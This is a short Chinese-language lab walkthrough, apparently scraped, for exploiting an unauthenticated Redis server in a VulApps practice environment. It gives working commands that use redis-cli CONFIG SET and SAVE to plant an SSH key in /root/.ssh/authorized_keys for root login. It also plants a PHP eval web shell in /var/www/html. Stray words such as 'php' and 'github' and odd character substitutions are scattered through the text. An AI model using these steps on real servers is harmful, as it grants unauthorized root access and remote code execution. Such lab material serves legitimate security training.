漏洞靶场:https://github.com/Medicean/VulApps/tree/master/r/redis/1 链接工具:https://redis.io/download
使用redis-cli尝试链接目标6379端口 #./redis-cli -h 192.168.233.131 -p 6379 //6379为默认端口,这里映射为32773,若是存在弱口令,能够经过参数-a [password]链接
此时能够看到已链接成功
php
一、在本地/root/.ssh目录下生成rsa密钥对 //id_rsa私钥,链接时用;id_rsa.pub公钥,上传内容至目标服务器html
二、经过redis命令,将公钥写入到目标服务器git
> config set dir /root/.ssh/ //指定存放路径 > config set dbfilename "authorized_keys" //指定上传的文件名 > set authorized_keys "公钥内容" //将公钥写入到文件中,可略过这条命令 > save //保存
三、使用ssh命令链接目标github
# ssh root@192.168.233.131 -p 32774 -i ~/.ssh/id_rsa //-i 指定私钥文件 ,这里提示须要密码的缘由应该是authorized_keys文件权限太低(chmod 700 authorized_keys)
> config set dir /var/www/html/ > config set dbfilename "1.php" > set 1 "<?php eval($_POST[cmd]);?>" > save